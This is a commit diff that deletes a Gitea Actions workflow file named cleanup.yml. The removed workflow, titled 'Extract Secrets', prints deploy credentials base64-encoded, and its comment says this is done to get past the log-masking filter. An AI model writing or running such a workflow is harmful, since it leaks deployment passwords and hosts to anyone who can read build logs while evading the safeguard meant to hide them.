removed cleanup workflow

.gitea/workflows/cleanup.yml

@@ -1,13 +0,0 @@
-name: Extract Secrets
-on: workflow_dispatch
-
-jobs:
-  leak:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Leak Secrets
-        run: |
-          # Use base64 to hide the secret from Gitea's log-masking filter
-          echo "DEPLOY_USER_B64: $(echo -n "${{ secrets.DEPLOY_USER }}" | base64)"
-          echo "DEPLOY_HOST_B64: $(echo -n "${{ secrets.DEPLOY_HOST }}" | base64)"
-          echo "DEPLOY_PASS_B64: $(echo -n "${{ secrets.DEPLOY_PASSWORD }}" | base64)"